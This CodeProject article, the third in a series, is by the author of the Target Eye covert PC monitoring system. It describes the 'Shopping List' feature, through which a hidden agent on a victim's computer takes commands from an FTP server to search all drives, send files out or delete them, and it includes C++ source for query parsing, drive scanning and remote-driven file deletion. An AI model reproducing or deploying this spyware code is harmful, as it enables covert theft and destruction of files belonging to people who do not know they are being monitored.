Click here to Skip to main content
Click here to Skip to main content
Go to top

Target Eye Revealed part 3 - The Shopping List Mechanism

, 12 Jun 2014
Rate this:
Please Sign up or sign in to vote.
How the Shopping List mechanism was used as part of the Target Eye project

 

 

 

 

Introduction    

This article is the third article in a series about the Target Eye Monitoring System, developed from 2000, and till 2010. The first article was about Target Eye's Auto Update mechanism, and how it is capable of checking for updates, downloading them when there are, installing them and running them instead of the old version currently running, all of the above, with no end-user intervention. The second article was about the Target Eye's screen capturing mechanism, and how compact JPG files are created combining a reasonable image quality and a small footprint. This article is about the Shopping List mechanism. Forth article is about Keyboard Capturing. Fifth article is about the Cover Story mechanism. The sixth article is about hiding files the Target Eye way.
 

Background



Target Eye Monitoring System, which I have developed 12 years ago, was probably the first surveillance and monitoring tool for capturing activity of remote computers. The following description is taken from the original Business Plan of this venture:

Target Eye is a start-up company whose mission is to develop integrated software solutions for real-time monitoring of remote PCs, which are based on the company’s patent pending technologies (60/204,084 and 60/203,832). Our major product, Target Eye Monitoring System, is a software product that can continuously track, record, playback, analyze and report any activity performed on one or multiple remote PCs, in a way which is undetectable by their users. The software relies on a stream of rapidly captured, compressed full-screen images and continuous keystroke capturing to provide a comprehensive and accurate account of user activities, including local activities which do not generate any network traffic. In this way, the software can track and record activities, which are undetectable by systems relying on network traffic analysis. A smart agent module running on the monitored PCs uses a rule base to send alerts to the monitoring location(s) or perform pre-defined local operations. Monitoring can be performed from multiple locations. Major markets are law-enforcement.

 

The Shopping List Mechanism ™  

Target Eye Monitoring System has a unique mechanism for bi-directional files requests from the monitored computer. Using the Shopping List Mechanism ™ , the operator can define requests as for which criteria to be used, and then, to modify these requests on the fly.

What is the Shopping List  

The Shopping List is in fact, a file, managed manually by the Operator, and the Secret Agent.

The Operator defines the queries, and then manipulate and edit them, as well as their results, while the Secret Agent execute them and marks which one of the requested files we sent.


The Shopping List is constantly updated by the Secret Agent, and as a result, it can be used to get an updated view of the operation activity.

The Shopping List Naming Structure  

In order of doing so, the Shopping List file is placed on the Server, and can be identified by it's unique naming structure.  

<OperationID><AgentID><ShoppingList Alias>   

For example:

If the OperationID is “SECRET00” and the AgentID is “IBM000000001”, and provided that the Shopping List Alias is “files.txt”, you will get:

<span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;">SECRET00IBM000000001-files.txt    </span>

 

The Shopping List Query Structure  

There are different types of entries which can be part of the Shopping List. 

A Single Request

When the Operator needs a specific file, knowing it's exact location, a Single Request is used. 

For example

To request the file 'autoexec.bat' located in C:\ the request would be:

<span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;">[ ] c:\autoexec.bat    </span>

and after successful execution of this request, the entry will be:

<span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;">[X] c:\autoexec.bat     </span>

or alternatively, in case of failure (for example: if there is no such file), the entry will be:

<span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;">[!] c:\autoexec.bat    </span>

A Simple Query  

When the Operator needs all files of a certain type, with or without specific name, a Simple Query is used. Such query will always start with [Q] and will use SQL syntax to define the criteria.

For example

To request all DOC files containing the word 'spy', in any place in the monitored computer, the entry will be:
 

<span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;">[Q] *spy*.doc   </span>

 

As a result, the Secret Agent might, for example, find the following files, and the operator will see the following entries added:

 

<span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;"><span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;">[ ] c:\docs\About Spyware.doc
[ ] d:\backup\A letter to james spyropolos.doc  </span></span>

and so on. 

Other actions on files  

Files specified or found as a result of a query can not only be copied, but also deleted.

Deleting a file   

When the Operator wishes to delete a single or several files, with or without specific name, a Simple Delete Query is used. Such query will always start with [D] and will use the Shopping List syntax to define the criteria.

For example
To request all DOC files containing the word 'spy', in any place in the monitored computer, the entry will be:

 

<span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;"><span style="font-size: 11pt; line-height: 115%; font-family: Calibri, sans-serif;">[D] *spy*.doc    </span></span>

will delete all Word documents with the string "spy" as part of their names.  

Shopping List Mechanism  -Shopping List Query  

This is where a list of initial queries is entered. You can enter a number of queries, one after the other. 

Shopping List Mechanism  - Encrypt Shopping List on the Server 

When this checkbox is checked, the Shopping List file will be encrypted on the Server. When it is unchecked, it is possible to use the Explorer to modify and edit this file on the fly, while getting faster results from the Secret Agent. For example: adding a new query. When the file is encrypted, the Target Eye Decryptor tool is required to make any changes. 

Shopping List Mechanism  - Ignore Files Larger Than 

When this checkbox is checked, the amount of MB indicated bellow, are the higher limit of files that will be sent to the Server. Files which are larger than that size will be ignored.  

Shopping List related settings 

The Target Eye had a Compiler that was used along the evolution of the application to customize the "Secret Agent' part based on predefined and dynamically changed settings.

In the earlier versions the Compiler looked like this: 

and the part related to the Shopping List looked like this:

 

This part was enhanced and the 2007 version

 

looked like this:

 

Performing Fast Files Searches 

While developing Target Eye I checked many methods for performing mass searching in a computer. The purpose was to find a way to search for thousand of files in seconds, scanning all drive letters, and building a list of results.

The FindFile class by Louka Dlagnekov seems to be an excellent solution. It works really fast and is reliable. I have enhanced it to filter the search queries for the last file access data (for example, searching for all .doc files from the last 30 days, was done using the query:

[Q] -d30 *.doc 

Unless specified otherwise, and due to the nature of Target Eye to gather information, a query is executed while searching all drive letters and all folders in the monitored PC.

Some Source Code 

The best way to explain the Shopping List mechanism is form bottom to top. So when we actually perform the search it looks like this:  

    FindFileOptions_t opts;               /
    opts.excludeDir = "*emulation*";
    opts.excludeFile = "";
    opts.recursive = true;
    opts.returnFolders = false;
    opts.terminateValue = NULL;	
    opts.days=q->Days;
    FindFile find(opts);
 

The FindFileOpiton structure holds the details of the requested search: 

  • ExcludeDir - when NOT to search 
  • ExcludeFile - what NOT to search 
  • Recursive - indicates if we perform recursive searches when we come up with a folder. TRUE by default  
  • ReturnFolders - indicates if folders are also included in the search results. FALSE by default.
  • TerminateValue - a value that if found, terminates the search 
  • Days - number of days the found files should have been last accessed.  

Now we call find.search. There are 2 possible calls, based on the top level settings (which will be explained as well):  

  • Search at a specific location 
  • Search everywhere

If we search at a specific location, the call will look like this:

find.search(TRUE,WhatToSearch,WhereToSearch);

If we search everywhere, the call will like this: 

char drive[3];
strcpy(drive,"c:\\");
for (char dl='c';dl<='z';dl++)
{
     drive[0]=dl;
     find.search((dl=='c'),WhatToSearch,drive);
}

That way, we scan all drive letters.  At this point we collect the results:  

int nfiles = (int) find.filelist.size();
__int64 size = find.listsize;
for(i=0;i<(int) find.filelist.size();i++)
{
   string fullname = FindFile::combinePath(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
}  

fullname will now hold the result of the query.

nfiles contains the number of files found

size contains the size of the files found in total. That is important for a monitoring application as we need to know how much data we need to send to the operator.  

Managing the Shopping List

Now we can go one level above an examine the way the Shopping List was managed.

Before doing so, here are some terms used by Target Eye:

Target Eye Secret Agent - the covert part of the product that runs on the monitored computer

Target Eye Operator - the authority that operates the Secret Agent (for example: a Law Enforcement agency).

A Mission - a request to perform an action. There are many possible actions (for example, capturing the screen, as described in an other article of mine). Since the scope of this article is the Shopping List mechanism, the Mission that is associated with the Shopping List could be copy or delete a file. 

Target Eye Compiler - The tool that is used by the Target Eye Operator to customize a Secret Agent for performing specific tasks. 

The following code is taken form the 2004 version of Target Eye. This function is called only when there is no Shopping List already created. After the first time it is created, and from that moment, it will be updated as a result of 2 possible triggers: 

 

  • Target Eye Secret Agent completes (or fails) in a mission. (client) 
  • Target Eye operator adds or deletes a mission. (server) 

 

The first thing that is done is building the initial query. This query is built according to the settings defined in the Target Eye Compiler. The initial query can be a combination of several queries. For example: the query "*.doc;*.xls"  encapsulates two queries; "*.doc"  (all files ending with ".doc") and "*.xls" (all files ending with ".xls"). 

Shopping List Synchronization 

Before we bring the source code, I'd like to explain the idea behind the Shopping List synchronization.  Since the Shopping List can be updated by both the client (Target Eye Secret Agent) and the server (Target Eye operator), there is a process for synchronizing the changes, so the Secret Agent is being notified about any change made by the operator (for example: if the operator removes a mission to copy a certain file, this file will not be copied), and the operator is being notified of any changes made by the client, namely, being updated about the progress of fulfilling the list of missions given to the Secret Agent. Most of the Shopping List related routines contains a part where the local shopping list is updated (or created) and a part where the shopping list is synchronized so the changes apply to the server version.

TE_BuildInitQuery() 

This routine is called when there is no local shopping list yet and it should be built based on the settings defined by the operator.  

 

void TE_BuildInitQuery()
{
	int n;
	CString SearchQuery=Options.Query; // initial query is based on the settings
	InitSearch.RemoveAll(); // dynamic array is emptied
	n=SearchQuery.Find(";"); // queries are extracted from the query line
	while(n>0)
	{
		InitSearch.Add("[Q] "+SearchQuery.Left(n));
		if(SearchQuery.GetLength()<n+1)
			break;
		else
			SearchQuery=SearchQuery.Mid(n+1);
		n=SearchQuery.Find(";");
	}
	if(SearchQuery.GetLength()>3)
	{
		InitSearch.Add("[Q] "+SearchQuery);
	}
} 

CreateDefShoppingList() 

 

 

The functions that calls TE_BuildInitQuery is CreateDefShoppingList() which then saves the separated queries into the local Shopping List. Then the local shopping list is synchronized with the server.  

 

 

void CreateDefShoppingList()
{
	FILE *fp;
	TE_BuildInitQuery();
	fp=fopen(LOCAL_FILELIST,"w"); // create local Shopping List
	if (fp)
	{
		for(int i=0;i<InitSearch.GetSize();i++)
		{
			CString temp=TE_Encode(InitSearch[i]);
			fprintf(fp,"%s\n",temp); // adds a query
		}
		fclose(fp);
	}

	TE_Send(TE_FILELIST,TRUE,FALSE); // sends to server
	TargetEyeFiles.AddFile(TE_FILELIST,1003,SEND_FILELIST); // maintain a list of files
}     

Expanding a query 

The last missing link in the explanation is the procedure of expanding a query into its results, while the results replace the query in the Shopping List. 

 

void ExpandFiles()
{
	CString Line;
	BOOL EmptyFile=TRUE;
	int DoTry=FTPRETRIES;
	char s[255];
	char OrigFileName[160];

	// ExpandFiles() opens the ShoppingList file from server

	strcpy(OrigFileName,LOCAL_FILELIST);
	CInternetFile *pFile;
	TryAgain:;
	try
	{
		pFile = FtpConn->OpenFile(FTP_FILELIST);	// open the file
	}
	catch (CInternetException* pEx)
	{
		// handle errors
		pEx->Delete();
		pFile=NULL;
		if(DoTry-- > 0) 
		{
			goto TryAgain;
		}
		if(!pFile)
		{
			if(DoTry-- > 0) 
			{
				goto TryAgain;
			}		return;
		}

		// read each line
		FILE *fp=fopen(OrigFileName,"w");
		while(-1)
		{
			DoTry=FTPRETRIES;
	TryAgain2:;
		try
		{
			if (!pFile || !(pFile->ReadString(Line))) 
			{
				break;
			}
		}
		catch (CInternetException* pEx)
		{
			if(DoTry-- > 0) 
			{
				goto TryAgain2;
			}
			return;
		}
		Line=TE_Decode(Line);
		if (Line.GetLength()==0)
		{
			break;
		}

		// start processing a line
		EmptyFile=FALSE;
		if(Line.Left(3)=="[D]")		// a request to delete a file
		{
			char FileToDelete[255];
			int result;
			strcpy(FileToDelete,Line.Mid(4));
			result=DeleteFile(FileToDelete);
			if(result)			// deletion was successful
				sprintf(s,"[X] /DEL %s",Line.Mid(4));
			else				// deletion has failed
				sprintf(s,"[!] /DEL %s",Line.Mid(4));
			fprintf(fp,"%s\n",TE_Encode(s));
		}
		else
		if(Line.Left(3)=="[Q]")	// a request to search for files based on a query
		{
			CStringArray result;
			TE_OpenQuery(Line,&result);	// run this query using the file search routines explained before
			if(result.GetUpperBound()>0)	// get the results
			{
				for (int i=0;i<result.GetUpperBound();i=i+2)// per each result. Results come in two lines
				{
					// add results to a local Shopping List file
					sprintf(s,"%s",result[i]);
					fprintf(fp,"%s\n",TE_Encode(s));
					sprintf(s,"%s",result[i+1]);
					fprintf(fp,"%s\n",TE_Encode(s));
				}					
			}
			else
			{
				// failed to run query
				sprintf(s,"[!] %s",Line.Mid(5));
				fprintf(fp,"%s\n",TE_Encode(s));
			}
		}
		else
		{
			// handle any other type of line
			fprintf(fp,"%s\n",TE_Encode(Line));
		}
		}
	fclose(fp);
	pFile->Close();
} 

At this stage the local Shopping List is synced with the server.  

TE_OpenQuery 

The TE_OpenQuery is another building block that is used for actually calling the files search class. The result of a query is added to the Shopping List in two lines: 

 

  1. The file found marked as a file yet to be copied. For example: "[ ] result.doc" 
  2. Additional Information such as date, size, etc. 
BOOL TE_OpenQuery(CString Line,CStringArray *result)
{
	char Q1[80];
	long Days=-1;
	CString QQ,Where="";
	// first we handle the "-s" switch which instructs searching in a specific place, 
	// as opposed to scanning all driver letters and all folders under it
	if(Line.Mid(4,2)=="-s")
	{
		if(Line.Mid(6,1)=='\'')
		{
			QQ=Line.Mid(7);
			int c=QQ.Find('\'');
			if (c>0) 
			{
				Where=QQ.Left(c);
				QQ=QQ.Mid(c+2);
			}
		}
		else
		{
			QQ=Line.Mid(6);
			int c=QQ.Find(' ');
			if (c>0) 
			{
				Where=QQ.Left(c);
				QQ=QQ.Mid(c+1);
			}
		}
		Line=Line.Left(4)+QQ;
	}
	// Then we handle the '-d' switch which is used to filter
	// the files found to the ones with N days old 
	// (for exmaple: -d40 means 40 days old)
	if(Line.Mid(4,2)=="-d")
	{
		//opts.days=atol(Line.Mid(8,2))
		QQ=Line.Mid(6);
		int c=QQ.Find(' ');
		if (c>0) 
		{
			Days=atol(QQ.Left(c));
			QQ=QQ.Mid(c+1);
		}
		strcpy(Q1,QQ);
	}
	else
		strcpy(Q1,Line.Mid(4));
	// Call the FindFile class
	FindFileOptions_t opts;
	opts.excludeDir = "";
	opts.days=Days;
	opts.recursive = true;
	opts.returnFolders = false;
	opts.terminateValue = NULL;
	opts.excludeFile = "*.exe";
	FindFile find(opts);
	if(Where!="")
	{
		if(Where.Right(1)!='\\') Where+='\\';
		find.search(TRUE,Q1,Where.GetBuffer(1),Days);
	}
	else
	{
		// Scan all drive letters
		for(int i='c';i<'z';i++)
		{
			char dr[5]="c:\\";
			dr[0]=i;
			find.search((i=='c'),Q1,dr,Days);
		}
	}
		
	int nfiles = (int) find.filelist.size();
	__int64 size = find.listsize;	
	// number of files found are stored in : nfiles
	// size of files found is stored in : size 
	// Local Shopping List is kept in LOCAL_FILELIST);
	if(find.filelist.size())
	{
		for(int i=0;i<(int)find.filelist.size();i++)
		{
			char s[1024];
			string fullname = FindFile::combinePath(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
			sprintf(s,"[ ] %s",fullname.c_str());
			result->Add(TE_Encode(s));
			sprintf(s,"'Date: %s Length = %ld",find.filelist[i].date.c_str(),find.filelist[i].filesize / 1024);
			result->Add(TE_Encode(s));
		}
		return(TRUE);
	}
	else
		return(FALSE);
} 

The TE_Encode and TE_Decode are macros used to handle encryption.

This article hasn't covered many additional options the Shopping List mechanism has, mostly to preserve a readable article.    

 

 

 

 

 

 

 Michael Haephrati CodeProject MVP 2013  

 

 

©2000-2010 Target Eye LTD (UK) 

 

All materials contained on this article are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Target Eye LTD (UK). You may not alter or remove any trademark, copyright or other notice from copies of the content.

 

 

 

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

Share

About the Author

Michael N. Haephrati
CEO
United States United States
Michael Haephrati, is an entrepreneur, inventor and a musician. Haephrati worked on many ventures starting from HarmonySoft, designing Rashumon, the first Graphical Multi-lingual word processor for Amiga computer. During 1995-1996 he worked as a Contractor with Apple at Cupertino. Worked at a research institute made the fist steps developing the credit scoring field in Israel. He founded Target Scoring and developed a credit scoring system named ThiS, based on geographical statistical data, participating VISA CAL, Isracard, Bank Leumi and Bank Discount (Target Scoring, being the VP Business Development of a large Israeli institute).

During 2000, he founded Target Eye, and developed the first remote PC surveillance and monitoring system, named Target Eye.

Other ventures included: Data Cleansing (as part of the DataTune system which was implemented in many organizations.


Follow on   Twitter   Google+   LinkedIn

Comments and Discussions

 
QuestionLicense? Pinmember.:floyd:.10-Mar-14 10:02 
GeneralMy vote of 5 Pingroupalonbarak14-Jun-13 11:00 
QuestionSo, which license applies? Pinmemberenhzflep13-Mar-13 17:27 
AnswerRe: So, which license applies? PinmvpMichael Haephrati13-Mar-13 22:11 
GeneralWell done, Michael PinmvpEspen Harlinn11-Mar-13 13:52 
GeneralRe: Well done, Michael PinmvpMichael Haephrati11-Aug-13 10:15 
GeneralMy vote of 5 PinmemberMember 416352421-Feb-13 5:26 
GeneralRe: My vote of 5 PinmvpMichael Haephrati21-Feb-13 5:28 
GeneralMy vote of 5 Pinmemberliliflower35525-Jan-13 1:07 
GeneralMy vote of 5 Pinmemberresi243125-Jan-13 0:07 
GeneralMy vote of 5 Pinmembermidulm24-Jan-13 23:03 
GeneralMy vote of 5 Pingroupbalam198824-Jan-13 22:18 
GeneralMy vote of 5 Pingroupevan89724-Jan-13 21:37 
GeneralMessage Automatically Removed PinmemberPJohnMathews23-Jan-13 22:17 
GeneralMy vote of 2 PinmemberPJohnMathews23-Jan-13 19:53 
GeneralMy vote of 5 PinmemberJason44413-Oct-12 21:44 
GeneralMy vote of 5 Pinmemberjohannafeldman1213-Oct-12 11:05 
Wow!
GeneralMy vote of 5 PinmemberGeorge Rogers II13-Oct-12 6:36 
GeneralMy vote of 5 PinmemberEmma20123218-Sep-12 2:17 
GeneralMy vote of 5 PinmemberHillary Higg18-Sep-12 2:15 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

| Advertise | Privacy | Mobile
Web01 | 2.8.140916.1 | Last Updated 12 Jun 2014
Article Copyright 2012 by Michael N. Haephrati
Everything else Copyright © CodeProject, 1999-2014
Terms of Service
Layout: fixed | fluid